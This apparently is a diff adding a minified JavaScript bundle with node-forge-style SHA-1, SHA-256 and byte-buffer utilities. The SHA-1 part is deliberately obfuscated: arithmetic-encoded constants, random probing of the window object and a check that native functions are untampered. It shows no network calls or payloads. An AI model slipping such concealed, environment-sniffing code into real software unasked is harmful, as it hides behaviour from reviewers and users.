qr = Gr, + Gr = Fr, + Fr = (jr << br - v * x * l - v * c - x * o | jr >>> T - c - l - x * v - f) >>> sr - v * c * s - x - o * s - s * l * c, + jr = Mr, + Mr = Or = (Be = Mr << ur - l - s * v * s - f * v * c | (Ae = Mr >>> (Te = (Ee = V - o - o * l - (be = o * o)) - (Ie = o * (Se = f) * f)))) + (Le = we ^ Ne & (De = Re ^ Ue)) + Pe + (Lr - x * s - c * s - f * x * v) + Or; + for (; Qr < tr - o - l * v * c - v - f; ++Qr) + oe = Or = (zr = e)[(Hr = Qr) - (E - (Yr = c * x) - l - l - f)] ^ e[Qr - ((Xr = cr - v * f * l - (Zr = v)) - (Jr = l) - x * f)] ^ e[Qr - (ie = (te = (re = (_r = w) - ($r = l)) - (ee = l) * c - s) - (ae = s * (ne = x)))] ^ e[Qr - (J - f * x * f - c - c)], + pe = Or = (ve = oe << (ue = p) - (fe = (se = s) * (ce = f)) - x - s) | Or >>> (le = (xe = xr) - s * f * s - s * l * v) - (de = s) * (he = x), + e[Qr] = pe, + be = jr, + Ee = Fr, + Se = Gr, + Ie = qr, + qr = Gr, + Gr = Fr, + Fr = (jr << Tr - x * x * l - c - x * v - s * l * v | jr >>> g - s - o - x * s) >>> P - l * x - c * v - o * x - x * o, + jr = Mr, + Mr = Or = (Te = (Mr << (Ce = (me = (ye = gr - s * c * o) - x * x * (ge = c)) - f * l) - c * x | Mr >>> fr - c * f * f - c - v * s * c - c * x) + (be ^ Ee ^ Se) + Ie) + ((Le = (De = (we = (Ae = Pr) - (Be = x)) - (Ue = (Ne = s) * (Re = l))) - x) - l * (Pe = f)) + Or; + for (; Qr < rr - x - x * x - v * v * c; ++Qr) + fe = Or = ce = ($r = (zr = e)[(Hr = Qr) - (C - o - (Yr = c) - c - f * v)] ^ (_r = e[Qr - ((Xr = or - x * v - (Zr = c * s)) - (Jr = x) * l * o - x * c)])) ^ (re = e)[(ee = Qr) - ((ne = (te = Y - c - c) - x) - (ae = l) * (ie = o) * x)] ^ (se = e[ue = Qr - (oe = U - l - s - f * o * o)]), + ge = Or = (he = fe << (de = Ur - (ve = x * l * v) - (xe = v) - v * v * l - (le = f * o * x))) | (ye = Or >>> W - l - v - (pe = o) - l * f * s), + e[Qr] = ge, + Ae = jr, + Be = Fr, + Ne = Gr, + De = qr, + qr = Gr, + Gr = Fr, + Fr = (jr << A - v - o * v - s * c | jr >>> I - c * v - x - s * c) >>> lr - s * s * c - x - l - f * v * x, + jr = Mr, + Mr = Or = (Ue = (Te = Mr << (me = Br) - f * v * (Ce = l) - c * s * x - c * l * f | (Ie = Mr >>> (Ee = dr - x - l * f * v - (be = x * v)) - v * (Se = v))) + (Re = (we = Ae ^ Be) ^ Ne)) + De + ((Le = kr) - x * (Pe = l) * c - f * x * c - o * v * l - c * o) + Or; + for (; Qr < M - o * f - f * v - c - s * c * c; ++Qr) + xe = Or = (zr = e)[(Hr = Qr) - (N - c - (Yr = v) * f - v - l * c)] ^ e[ee = Qr - (re = (Xr = Cr - (Zr = s * v * v)) - (Jr = x) * x - s * l * c - ($r = c * (_r = f)))] ^ e[Qr - ((ne = (te = $) - c) - (ae = s) * (ie = l) * x - o)] ^ (ve = e[Qr - ((se = (oe = Z - l - o * l * f) - (ue = f)) - (ce = s) * (fe = o) * o)]), + me = Or = xe << (de = q - v * s * v - c * s - (le = c)) - (he = c) | Or >>> G - (pe = l * l) - c - (ye = v * s * c), + (ge = e)[Qr] = me, + Ie = jr, + Te = Fr, + Be = Gr, + we = jr, + Ne = Fr, + Le = qr, + qr = Gr, + Gr = Fr, + Fr = (jr << wr - l * v * l - c * x * l - c | jr >>> h - l - c * o - l - o) >>> mr - s * f - v * x - l * v * v - x * c, + jr = Mr, + Mr = Or = (Mr << (Ce = hr - c) - v * s * o - f * x * v - f | Mr >>> (Se = (Ee = O - s * o - s * s * x - (be = l)) - f)) + (De = (Ae = Ie & Te) | (Ue = Be & (Re = we ^ Ne))) + Le + ((Pe = Kr) - c * f * f - s - x * v * f - s * f * o) + Or; + for (; Qr < b - f - o - s; ++Qr) + ve = Or = (zr = e)[(Hr = Qr) - (pr - (Yr = s * o) * l - x * s * x - x * c - s)] ^ (te = e[(Zr = Qr) - ((_r = (Xr = Nr) - (Jr = x) * c - f - l * x * l) - (ee = ($r = o) * (re = l)) * l)]) ^ (ne = e)[(ae = Qr) - ((ie = m) - c - s * s - c)] ^ e[Qr - ((se = (oe = er - x * s * l) - (ue = c)) - (ce = s) * (fe = c))], + ye = Or = ve << y - (xe = v) - v - o * x | Or >>> (le = D - v) - (de = x) * (he = v) - o * s - (pe = l) * v, + e[Qr] = ye, + be = jr, + Ee = Fr, + Se = Gr, + Ie = qr, + qr = Gr, + Gr = Fr, + Fr = (jr << K - c * c - x * x - s * l - o * o * s | jr >>> W - c * x - c - f * v * c) >>> Rr - f * v * o - x * s * v - s * f * l - f * c * x, + jr = Mr, + Mr = Or = (Te = (Mr << (Ce = yr - l * (ge = s) * (me = o) - v) - l * v * s - c * l | Mr >>> F - v - c - c * s * l - s) + (be ^ Ee ^ Se) + Ie) + (Pe = (Re = (we = (Ae = Vr) - (Be = c)) - (Ne = s)) - (Ue = s) * (De = v) * (Le = v)) + Or; + zr = r, + Hr = "h0", + Zr = r["h0"] + (Yr = Mr) | vr - o * l * x - f * o * x - x - c, + zr[Hr] = Zr, + Xr = r, + Jr = "h1", + ne = r["h1"] + jr | (ee = k - l * o - (re = (_r = s) * ($r = c))) - (te = c * s * o), + Xr[Jr] = ne, + ae = r, + ie = "h2", + ue = r["h2"] + Fr | (oe = j - s - x * x - f * s * f - l), + ae[ie] = ue, + se = r, + ce = "h3", + le = (fe = r)["h3"] + Gr | z - (xe = (ve = l) * o) * v - x - l * c - o, + se[ce] = le, + de = r, + he = "h4", + ye = r["h4"] + qr | d - (pe = f) - v - s - o, + de[he] = ye, + Wr -= R - l - (me = (ge = x) * c) - (Ce = v * f) - o * s + } + } + c = t((n = 2183) - (o = (a = 9) * (i = 11)) * 8 - (u = 9) * (s = 5) - 11 * 6 - 8 * (8 * 7)), + f = c, + t((x = (v = 1024) - 9) - (l = 11) - 8 - 5), + t(713 - (d = 9) * (h = 9) - (p = 10) - 11 * 10 - 6 * 6 * 11), + n = r, + a = "exports", + i = f, + o = "sha1", + u = f["sha1"] || (v = {}) && void 0 || v, + s = i[o] = u, + y = n[a] = s, + x = (v = f)["md"], + l = "sha1", + d = y, + h = f["md"]["algorithms"]["sha1"] = d, + x[l] = h, + p = function() { + var r, e, t, n, a, i, o, u, s, c, v, x, l, d, h, p, y, b, E, S, I, T, A, B, w, N, R, U, D, L, P, k, K, V, O, M, j, F, G, q, Q, W, z, H, Y, Z, X, J, _, $, rr, er, tr, nr, ar, ir, or, ur, sr, cr, fr, vr, xr, lr, dr, hr, pr, yr, gr, mr, Cr, br, Er, Sr, Ir, Tr, Ar, Br, wr, Nr, Rr, Ur, Dr, Lr, Pr, kr, Kr, Vr, Or; + function Mr(e) { + return r += e + } + return r = 0, + Mr(3), + t = r + (e = 2), + Mr(1), + n = r + (e = 2), + e = Mr(2), + i = a = e + 1, + e = Mr(1), + o = a = e + 1, + Mr(1), + u = r + (e = 1), + e = Mr(1), + s = a = e + 1, + e = Mr(1), + c = a = e + 1, + a = Mr(29 + (e = 10)), + l = x = a + (v = 9), + Mr(14 + (e = 9)), + d = r + (e = 5), + Mr(12 + (e = 5)), + h = r + (e = 5), + Mr(9 + (e = 4)), + p = r + (e = 3), + a = Mr(18 + (e = 4)), + y = x = a + (v = 6), + Mr(31 + (e = 8)), + b = r + (e = 10), + Mr(32 + (e = 11)), + E = r + (e = 5), + Mr(12 + (e = 4)), + S = r + (e = 6), + Mr(12 + (e = 11)), + I = r + (e = 6), + Mr(33 + (e = 6)), + T = r + (e = 9), + a = Mr(25 + (e = 10)), + A = x = a + (v = 8), + a = Mr(56 + (e = 22)), + B = x = a + (v = 24), + Mr(19 + (e = 14)), + w = r + (e = 15), + Mr(38 + (e = 14)), + N = r + (e = 17), + Mr(19 + (e = 8)), + R = r + (e = 10), + U = x = (a = Mr(17 + (e = 8))) + (v = 12), + Mr(14 + (e = 10)), + D = r + (e = 5), + Mr(17 + (e = 11)), + L = r + (e = 12), + Mr(24 + (e = 21)), + P = r + (e = 16), + Mr(10 + (e = 4)), + k = r + (e = 6), + Mr(17 + (e = 6)), + K = r + (e = 5), + Mr(9 + (e = 3)), + V = r + (e = 6), + Mr(17 + (e = 3)), + O = r + (e = 5), + Mr(6 + (e = 2)), + M = r + (e = 3), + j = x = (a = Mr(6 + (e = 2))) + (v = 2), + Mr(3), + F = r + (e = 2), + Mr(3 + (e = 3)), + G = r + (e = 2), + Mr(36 + (e = 17)), + q = r + (e = 9), + a = Mr(37 + (e = 13)), + Q = x = a + (v = 16), + a = Mr(30 + (e = 17)), + W = x = a + (v = 24), + Mr(29 + (e = 11)), + z = r + (e = 6), + Mr(6 + (e = 6)), + H = r + (e = 4), + Mr(59 + (e = 45)), + Y = r + (e = 27), + Mr(39 + (e = 15)), + Z = r + (e = 10), + Mr(74 + (e = 55)), + X = r + (e = 57), + a = Mr(99 + (e = 55)), + J = x = a + (v = 28), + Mr(24 + (e = 12)), + _ = r + (e = 7), + Mr(241 + (e = 93)), + $ = r + (e = 61), + Mr(42 + (e = 29)), + rr = r + (e = 18), + a = Mr(44 + (e = 15)), + er = x = a + (v = 14), + tr = x = (a = Mr(38 + (e = 17))) + (v = 20), + Mr(41 + (e = 14)), + nr = r + (e = 11), + Mr(32 + (e = 22)), + ar = r + (e = 13), + Mr(119 + (e = 63)), + ir = r + (e = 63), + Mr(591 + (e = 386)), + or = r + (e = 264), + Mr(155778375 + (e = 50152630)), + ur = r + (e = 65714532), + Mr(920919724 + (e = 269980334)), + sr = r + (e = 335736787), + Mr(783018916 + (e = 160599410)), + cr = r + (e = 190130942), + Mr(1111792065 + (e = 339374686)), + fr = r + (e = 231592822), + Mr(321329726 + (e = 123804524)), + vr = r + (e = 58213793), + a = Mr(26121650 + (e = 17338966)), + xr = x = a + (v = 14754029), + Mr(7623368 + (e = 4276383)), + lr = r + (e = 2854789), + a = Mr(1904981 + (e = 649105)), + dr = x = a + (v = 300737), + v = Mr(a = (e = -755002206) + 856107957), + hr = v + (x = 28404297805), + m || (pr = String, + mr = (yr = K - c) - n - (gr = c) * n * o, + Cr = pr["fromCharCode"](mr), + g = Cr, + br = f["util"], + Er = "fillString", + Sr = String, + Tr = h - (Ir = n) - s * o - o, + Ar = Sr["fromCharCode"](Tr), + wr = U - n * c - o * s - (Br = u * n) * t - c * n, + Nr = br[Er](Ar, wr), + g += Nr, + m = !(L - (Rr = u * u * n) - (Ur = s * i) - i * n)), + Pr = null, + x = (a = (e = f)["util"])[v = "createBuffer"](), + kr = x, + Kr = new Array(j - t - o * i * u - o - c * c), + Vr = Kr, + yr = (pr = {})["algorithm"] = "sha1", + Ir = (Er = (gr = R) - u - n - (br = (mr = n) * (Cr = c) * t)) - (Sr = s) * c, + pr["blockLength"] = Ir, + Br = (Ar = D - (Tr = t * o)) - i * o * o - t - s * t, + pr["digestLength"] = Br, + Rr = (Nr = d - c - (wr = s)) - u * t - c, + pr["messageLength"] = Rr, + Ur = null, + pr["fullMessageLength"] = Ur, + Dr = tr - c * o * s - c * n - t * c * c - o * n * o, + pr["messageLengthSize"] = Dr, + Lr = function() { + var r, e, a, v, x, l, d, h, p, g, m, C, b, E, S, I; + for (v = J - (e = i * (r = s)) * o - n * u * t - t * s * s - c * (a = n), + Or["messageLength"] = v, + x = Or, + l = "fullMessageLength", + d = [], + h = Or["messageLength64"] = d, + x[l] = h, + p = Or.messageLengthSize / (y - c * i - i * n - i), + g = X - c * o * s - c - t * i * s - t * n; g < p; ++g) + m = Or["fullMessageLength"], + C = W - c * i * c - n - n * n - s, + m["push"](C); + return r = f["util"]["createBuffer"](), + kr = r, + a = sr - n * o * t - s * i * s - o, + (e = {})["h0"] = a, + b = (l = fr) - (d = s * i) * (h = o) - c * c - t * c, + (v = e)[x = "h1"] = b, + E = cr - t * s * i - t * i - t - n * t, + e["h2"] = E, + S = ur - s - i * s - t * u * n, + e["h3"] = S, + I = hr - o - i * o - n, + e["h4"] = I, + Pr = e, + Or + } + , + pr["start"] = Lr, + (pr = Or = pr)["start"](), + yr = function(r, e) { + var a, v, x, d, h, y, g, m, b, S, I, A, N, R, U, D, L, k, K, V, O, j, F, G, q, W; + (x = (a = typeof window) === (v = "undefined")) ? (d = global, + window = d) : window; + try { + for (cc in Object.getOwnPropertyNames(window).slice(parseInt(Math.random() * (nr - i * u * s - o * i - s - c * u * i)), parseInt(Math.random() * ($ - n * o * n - s - t * u * o - u * i * i) + (er - n * u * t - i * i * c - u * u - u * c * o)))) + a = window, + v = Object, + x = "getOwnPropertyNames", + h = window, + a[v[x](h)[cc]] + } catch (r) { + return + } + if (a = Object, + v = "getOwnPropertyNames", + x = window, + (b = (h = a[v](x))["length"] >= Q - c - c - c - c) && (b = (m = (y = (d = Object)["getOwnPropertyNames"]) + (g = "")) === "function getOwnPropertyNames() { [native code] }"), + b) { + for ((x = (a = "utf8") === (v = e)) && (m = r, + x = r = (y = (d = f)["util"])[g = "encodeUtf8"](m)), + y = S = x = (a = r)[v = "length"], + (d = Or)["messageLength"] += y, + S = [N = (g = S) / ((m = dr) - o * u * n - n * u * c - o - u * i * i) >>> (I = w) - (A = t) - i * o - n * i * u - n, (R = S) >>> Z - (L = (U = n) * s * (D = n)) - (k = u) * t * s - i * t * i - t * o], + K = Or.fullMessageLength.length - (H - n * s - t * o * o - c * s * t); K >= Y - i * i - n * t * c - i * o * u - t * t * i; --K) + y = (d = Or)["fullMessageLength"], + g = K, + I = (m = S)[_ - o * n - c * c * i - t * u * u - s * c], + y[g] += I, + A = S, + R = B - i - i * t * s - o - (N = c * t), + V = S[(U = T) - i - (D = u) * (L = t) * (k = n) - u - i] + (Or["fullMessageLength"][K] / (vr - s - u * n - i - i) >>> l - i * t - o - n - u), + A[R] = V, + O = Or["fullMessageLength"], + j = K, + F = Or["fullMessageLength"][K] >>> p - s * u - t - s, + O[j] = F, + G = S, + q = M - o * u - i * s * u - u, + W = S[E - u * c - i * o - t * c] / (xr - o * u * n - s - n * o - t * o * c) >>> P - t * c * u - c - c * u - i * n, + G[q] = W; + return y = r, + (d = kr)["putBytes"](y), + C(g = Pr, m = Vr, kr), + (kr["read"] > ir - u * n - t * t - t * n * t || (N = rr - (I = i) * (A = c) * c - s * n * c - o * t, + (U = (R = t) * i) && null) || (D = N - U * o, + (k = (L = kr)["length"]()) && void 0) || D === k) && kr["compact"](), + y = r, + (d = kr)["putBytes"](y), + C(g = Pr, m = Vr, kr), + (kr["read"] > (A = or - t * t * u - c * i * n - (I = u * s * o)) || (D = (N = ar - c * u * u - n * c * u) - (U = (R = n) * o) * s, + (L = o) && 0) || D - (k = L * s) === kr["length"]()) && kr["compact"](), + Or + } + } + , + Or["update"] = yr, + gr = function() { + var r, e, a, v, x, l, d, h, p, y, m, E, T, B, w, R, U, D, L, P, K, M, j, Q, W, H, Y, Z, X, J, _, $, rr, er, tr, nr, ar, ir, or, ur; + for (r = l = x = (a = (r = f)[e = "util"])[v = "createBuffer"](), + e = "putBytes", + (v = "bytes", + x = (a = kr)[v](), + r)[e](x), + "messageLengthSize", + m = (a = (r = Or)[e = "fullMessageLength"])[(v = Or)[x = "fullMessageLength"]["length"] - (V - c * s - s - i * u * (h = t) - (p = t * t) * (y = s))] + Or.messageLengthSize & Or["blockLength"] - (z - s * c * i - u * c - c - o * t), + r = l, + e = "putBytes", + a = g, + v = "substr", + h = (x = O) - i * o - c * s - c * i * i, + (p = Or["blockLength"] - m, + y = a[v](h, p), + r)[e](y), + E = (N - s * n - s * i * t - u - o * u) * Or.fullMessageLength[I - c * c - o - t * u - c * i], + T = F - o - i * t * s - i * u - s * t * n; T < Or.fullMessageLength.length - (A - o * s - n * o * t - n); ++T) + ir = (E += (d = (H = (K = (U = (R = (B = G) - (w = i)) - o) - (P = (D = o) * (L = i))) - (W = (Q = (M = u) * (j = u)) * o)) * (X = (Y = Or)[Z = "fullMessageLength"])[T + (ar = (rr = ($ = (J = S) - (_ = u)) - o) - (nr = (er = n) * (tr = t)) * i)]) / (lr - s - u * s * s - s * u - i * u * i) >>> b - c * i - t * n - n * s - n) >>> k - t * u - u * t - o * s * n - u * u, + l["putInt32"](ir), + E = d >>> q - u * i * c - u * u - o - t; + return a = E, + (r = l)[e = "putInt32"](a), + w = B = {}, + R = "h0", + D = Pr[U = "h0"], + L = w[R] = D, + P = B, + K = "h1", + Q = (M = Pr)[j = "h1"], + P[K] = Q, + W = B, + H = "h2", + X = (Y = Pr)[Z = "h2"], + W[H] = X, + J = B, + _ = "h3", + rr = ($ = Pr)["h3"], + er = J[_] = rr, + tr = B, + nr = "h4", + ar = Pr["h4"], + tr[nr] = ar, + C(r = or = B, e = Vr, a = l), + v = "createBuffer", + B = ur = x = (a = (r = f)[e = "util"])[v](), + w = "putInt32", + U = (R = or)["h0"], + B[w](U), + D = ur, + L = "putInt32", + M = (P = or)[K = "h1"], + D[L](M), + j = ur, + Q = "putInt32", + H = or[W = "h2"], + j[Q](H), + Y = ur, + Z = "putInt32", + J = (X = or)["h3"], + Y[Z](J), + _ = ur, + $ = "putInt32", + er = or[rr = "h4"], + _[$](er), + ur + } + , + Or["digest"] = gr, + Or + } + , + y["create"] = p, + g = n = null, + m = !((o = (a = 444) - (i = 5)) - 8 - (s = 5 * (u = 5)) - 5 * 9 * 9) + } + , + 668: (r,e,t)=>{ + var n = t(832); + t(991), + t(116); + var a = r.exports = n.sha256 = n.sha256 || {}; + n.md.sha256 = n.md.algorithms.sha256 = a, + a.create = function() { + o || (i = String.fromCharCode(128), + i += n.util.fillString(String.fromCharCode(0), 64), + u = [1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221, 3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580, 3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, 2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037, 2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298], + o = !0); + var r = null + , e = n.util.createBuffer() + , t = new Array(64) + , a = { + algorithm: "sha256", + blockLength: 64, + digestLength: 32, + messageLength: 0, + fullMessageLength: null, + messageLengthSize: 8, + start: function() { + a.messageLength = 0, + a.fullMessageLength = a.messageLength64 = []; + for (var t = a.messageLengthSize / 4, i = 0; i < t; ++i) + a.fullMessageLength.push(0); + return e = n.util.createBuffer(), + r = { + h0: 1779033703, + h1: 3144134277, + h2: 1013904242, + h3: 2773480762, + h4: 1359893119, + h5: 2600822924, + h6: 528734635, + h7: 1541459225 + }, + a + } + }; + return a.start(), + a.update = function(i, o) { + "utf8" === o && (i = n.util.encodeUtf8(i)); + var u = i.length; + a.messageLength += u, + u = [u / 4294967296 >>> 0, u >>> 0]; + for (var c = a.fullMessageLength.length - 1; c >= 0; --c) + a.fullMessageLength[c] += u[1], + u[1] = u[0] + (a.fullMessageLength[c] / 4294967296 >>> 0), + a.fullMessageLength[c] = a.fullMessageLength[c] >>> 0, + u[0] = u[1] / 4294967296 >>> 0; + return e.putBytes(i), + s(r, t, e), + (e.read > 2048 || 0 === e.length()) && e.compact(), + a + } + , + a.digest = function() { + var o = n.util.createBuffer(); + o.putBytes(e.bytes()); + var u, c = a.fullMessageLength[a.fullMessageLength.length - 1] + a.messageLengthSize & a.blockLength - 1; + o.putBytes(i.substr(0, a.blockLength - c)); + for (var f = 8 * a.fullMessageLength[0], v = 0; v < a.fullMessageLength.length - 1; ++v) + f += (u = 8 * a.fullMessageLength[v + 1]) / 4294967296 >>> 0, + o.putInt32(f >>> 0), + f = u >>> 0; + o.putInt32(f); + var x = { + h0: r.h0, + h1: r.h1, + h2: r.h2, + h3: r.h3, + h4: r.h4, + h5: r.h5, + h6: r.h6, + h7: r.h7 + }; + s(x, t, o); + var l = n.util.createBuffer(); + return l.putInt32(x.h0), + l.putInt32(x.h1), + l.putInt32(x.h2), + l.putInt32(x.h3), + l.putInt32(x.h4), + l.putInt32(x.h5), + l.putInt32(x.h6), + l.putInt32(x.h7), + l + } + , + a + } + ; + var i = null + , o = !1 + , u = null; + function s(r, e, t) { + for (var n, a, i, o, s, c, f, v, x, l, d, h, p, y = t.length(); y >= 64; ) { + for (s = 0; s < 16; ++s) + e[s] = t.getInt32(); + for (; s < 64; ++s) + n = ((n = e[s - 2]) >>> 17 | n << 15) ^ (n >>> 19 | n << 13) ^ n >>> 10, + a = ((a = e[s - 15]) >>> 7 | a << 25) ^ (a >>> 18 | a << 14) ^ a >>> 3, + e[s] = n + e[s - 7] + a + e[s - 16] | 0; + for (c = r.h0, + f = r.h1, + v = r.h2, + x = r.h3, + l = r.h4, + d = r.h5, + h = r.h6, + p = r.h7, + s = 0; s < 64; ++s) + i = (c >>> 2 | c << 30) ^ (c >>> 13 | c << 19) ^ (c >>> 22 | c << 10), + o = c & f | v & (c ^ f), + n = p + ((l >>> 6 | l << 26) ^ (l >>> 11 | l << 21) ^ (l >>> 25 | l << 7)) + (h ^ l & (d ^ h)) + u[s] + e[s], + p = h, + h = d, + d = l, + l = x + n >>> 0, + x = v, + v = f, + f = c, + c = n + (a = i + o) >>> 0; + r.h0 = r.h0 + c | 0, + r.h1 = r.h1 + f | 0, + r.h2 = r.h2 + v | 0, + r.h3 = r.h3 + x | 0, + r.h4 = r.h4 + l | 0, + r.h5 = r.h5 + d | 0, + r.h6 = r.h6 + h | 0, + r.h7 = r.h7 + p | 0, + y -= 64 + } + } + } + , + 219: (r,e,t)=>{} + , + 173: (r,e,t)=>{} + , + 311: (r,e,t)=>{} + , + 116: (r,e,t)=>{ + var n = t(832) + , a = t(807) + , i = r.exports = n.util = n.util || {}; + function o(r) { + if (8 !== r && 16 !== r && 24 !== r && 32 !== r) + throw new Error("Only 8, 16, 24, or 32 bits supported: " + r) + } + function u(r) { + if (this.data = "", + this.read = 0, + "string" == typeof r) + this.data = r; + else if (i.isArrayBuffer(r) || i.isArrayBufferView(r)) + if ("undefined" != typeof Buffer && r instanceof Buffer) + this.data = r.toString("binary"); + else { + var e = new Uint8Array(r); + try { + this.data = String.fromCharCode.apply(null, e) + } catch (r) { + for (var t = 0; t < e.length; ++t) + this.putByte(e[t]) + } + } + else + (r instanceof u || "object" == typeof r && "string" == typeof r.data && "number" == typeof r.read) && (this.data = r.data, + this.read = r.read); + this._constructedStringLength = 0 + } + !function() { + if ("undefined" != typeof process && process.nextTick && !process.browser) + return i.nextTick = process.nextTick, + void ("function" == typeof setImmediate ? i.setImmediate = setImmediate : i.setImmediate = i.nextTick); + if ("function" == typeof setImmediate) + return i.setImmediate = function() { + return setImmediate.apply(void 0, arguments) + } + , + void (i.nextTick = function(r) { + return setImmediate(r) + } + ); + if (i.setImmediate = function(r) { + setTimeout(r, 0) + } + , + "undefined" != typeof window && "function" == typeof window.postMessage) { + var r = "forge.setImmediate" + , e = []; + i.setImmediate = function(t) { + e.push(t), + 1 === e.length && window.postMessage(r, "*") + } + , + window.addEventListener("message", function(t) { + if (t.source === window && t.data === r) { + t.stopPropagation(); + var n = e.slice(); + e.length = 0, + n.forEach(function(r) { + r() + }) + } + }, !0) + } + if ("undefined" != typeof MutationObserver) { + var t = Date.now() + , n = !0 + , a = document.createElement("div"); + e = [], + new MutationObserver(function() { + var r = e.slice(); + e.length = 0, + r.forEach(function(r) { + r() + }) + } + ).observe(a, { + attributes: !0 + }); + var o = i.setImmediate; + i.setImmediate = function(r) { + Date.now() - t > 15 ? (t = Date.now(), + o(r)) : (e.push(r), + 1 === e.length && a.setAttribute("a", n = !n)) + } + } + i.nextTick = i.setImmediate + }(), + i.isNodejs = "undefined" != typeof process && process.versions && process.versions.node, + i.globalScope = i.isNodejs ? t.g : "undefined" == typeof self ? window : self, + i.isArray = Array.isArray || function(r) { + return "[object Array]" === Object.prototype.toString.call(r) + } + , + i.isArrayBuffer = function(r) { + return "undefined" != typeof ArrayBuffer && r instanceof ArrayBuffer + } + , + i.isArrayBufferView = function(r) { + return r && i.isArrayBuffer(r.buffer) && void 0 !== r.byteLength + } + , + i.ByteBuffer = u, + i.ByteStringBuffer = u, + i.ByteStringBuffer.prototype._optimizeConstructedString = function(r) { + this._constructedStringLength += r, + this._constructedStringLength > 4096 && (this.data.substr(0, 1), + this._constructedStringLength = 0) + } + , + i.ByteStringBuffer.prototype.length = function() { + return this.data.length - this.read + } + , + i.ByteStringBuffer.prototype.isEmpty = function() { + return this.length() <= 0 + } + , + i.ByteStringBuffer.prototype.putByte = function(r) { + return this.putBytes(String.fromCharCode(r)) + } + , + i.ByteStringBuffer.prototype.fillWithByte = function(r, e) { + r = String.fromCharCode(r); + for (var t = this.data; e > 0; ) + 1 & e && (t += r), + (e >>>= 1) > 0 && (r += r); + return this.data = t, + this._optimizeConstructedString(e), + this + } + , + i.ByteStringBuffer.prototype.putBytes = function(r) { + return this.data += r, + this._optimizeConstructedString(r.length), + this + } + , + i.ByteStringBuffer.prototype.putString = function(r) { + return this.putBytes(i.encodeUtf8(r)) + } + , + i.ByteStringBuffer.prototype.putInt16 = function(r) { + return this.putBytes(String.fromCharCode(r >> 8 & 255) + String.fromCharCode(255 & r)) + } + , + i.ByteStringBuffer.prototype.putInt24 = function(r) { + return this.putBytes(String.fromCharCode(r >> 16 & 255) + String.fromCharCode(r >> 8 & 255) + String.fromCharCode(255 & r)) + } + , + i.ByteStringBuffer.prototype.putInt32 = function(r) { + return this.putBytes(String.fromCharCode(r >> 24 & 255) + String.fromCharCode(r >> 16 & 255) + String.fromCharCode(r >> 8 & 255) + String.fromCharCode(255 & r)) + } + , + i.ByteStringBuffer.prototype.putInt16Le = function(r) { + return this.putBytes(String.fromCharCode(255 & r) + String.fromCharCode(r >> 8 & 255)) + } + , + i.ByteStringBuffer.prototype.putInt24Le = function(r) { + return this.putBytes(String.fromCharCode(255 & r) + String.fromCharCode(r >> 8 & 255) + String.fromCharCode(r >> 16 & 255)) + } + , + i.ByteStringBuffer.prototype.putInt32Le = function(r) { + return this.putBytes(String.fromCharCode(255 & r) + String.fromCharCode(r >> 8 & 255) + String.fromCharCode(r >> 16 & 255) + String.fromCharCode(r >> 24 & 255)) + } + , + i.ByteStringBuffer.prototype.putInt = function(r, e) { + o(e); + var t = ""; + do { + e -= 8, + t += String.fromCharCode(r >> e & 255) + } while (e > 0); + return this.putBytes(t) + } + , + i.ByteStringBuffer.prototype.putSignedInt = function(r, e) { + return r < 0 && (r += 2 << e - 1), + this.putInt(r, e) + } + , + i.ByteStringBuffer.prototype.putBuffer = function(r) { + return this.putBytes(r.getBytes()) + } + , + i.ByteStringBuffer.prototype.getByte = function() { + return this.data.charCodeAt(this.read++) + } + , + i.ByteStringBuffer.prototype.getInt16 = function() { + var r = this.data.charCodeAt(this.read) << 8 ^ this.data.charCodeAt(this.read + 1); + return this.read += 2, + r + } + , + i.ByteStringBuffer.prototype.getInt24 = function() { + var r = this.data.charCodeAt(this.read) << 16 ^ this.data.charCodeAt(this.read + 1) << 8 ^ this.data.charCodeAt(this.read + 2); + return this.read += 3, + r + } + , + i.ByteStringBuffer.prototype.getInt32 = function() { + var r = this.data.charCodeAt(this.read) << 24 ^ this.data.charCodeAt(this.read + 1) << 16 ^ this.data.charCodeAt(this.read + 2) << 8 ^ this.data.charCodeAt(this.read + 3); + return this.read += 4, + r + } + , + i.ByteStringBuffer.prototype.getInt16Le = function() { + var r = this.data.charCodeAt(this.read) ^ this.data.charCodeAt(this.read + 1) << 8; + return this.read += 2, + r + } + , + i.ByteStringBuffer.prototype.getInt24Le = function() { + var r = this.data.charCodeAt(this.read) ^ this.data.charCodeAt(this.read + 1) << 8 ^ this.data.charCodeAt(this.read + 2) << 16; + return this.read += 3, + r + } + , + i.ByteStringBuffer.prototype.getInt32Le = function() { + var r = this.data.charCodeAt(this.read) ^ this.data.charCodeAt(this.read + 1) << 8 ^ this.data.charCodeAt(this.read + 2) << 16 ^ this.data.charCodeAt(this.read + 3) << 24; + return this.read += 4, + r + } + , + i.ByteStringBuffer.prototype.getInt = function(r) { + o(r); + var e = 0; + do { + e = (e << 8) + this.data.charCodeAt(this.read++), + r -= 8 + } while (r > 0); + return e + } + , + i.ByteStringBuffer.prototype.getSignedInt = function(r) { + var e = this.getInt(r) + , t = 2 << r - 2; + return e >= t && (e -= t << 1), + e + } + , + i.ByteStringBuffer.prototype.getBytes = function(r) { + var e; + return r ? (r = Math.min(this.length(), r), + e = this.data.slice(this.read, this.read + r), + this.read += r) : 0 === r ? e = "" : (e = 0 === this.read ? this.data : this.data.slice(this.read), + this.clear()), + e + } + , + i.ByteStringBuffer.prototype.bytes = function(r) { + return void 0 === r ? this.data.slice(this.read) : this.data.slice(this.read, this.read + r) + } + , + i.ByteStringBuffer.prototype.at = function(r) { + return this.data.charCodeAt(this.read + r) + } + , + i.ByteStringBuffer.prototype.setAt = function(r, e) { + return this.data = this.data.substr(0, this.read + r) + String.fromCharCode(e) + this.data.substr(this.read + r + 1), + this + } + , + i.ByteStringBuffer.prototype.last = function() { + return this.data.charCodeAt(this.data.length - 1) + } + , + i.ByteStringBuffer.prototype.copy = function() { + var r = i.createBuffer(this.data); + return r.read = this.read, + r + } + , + 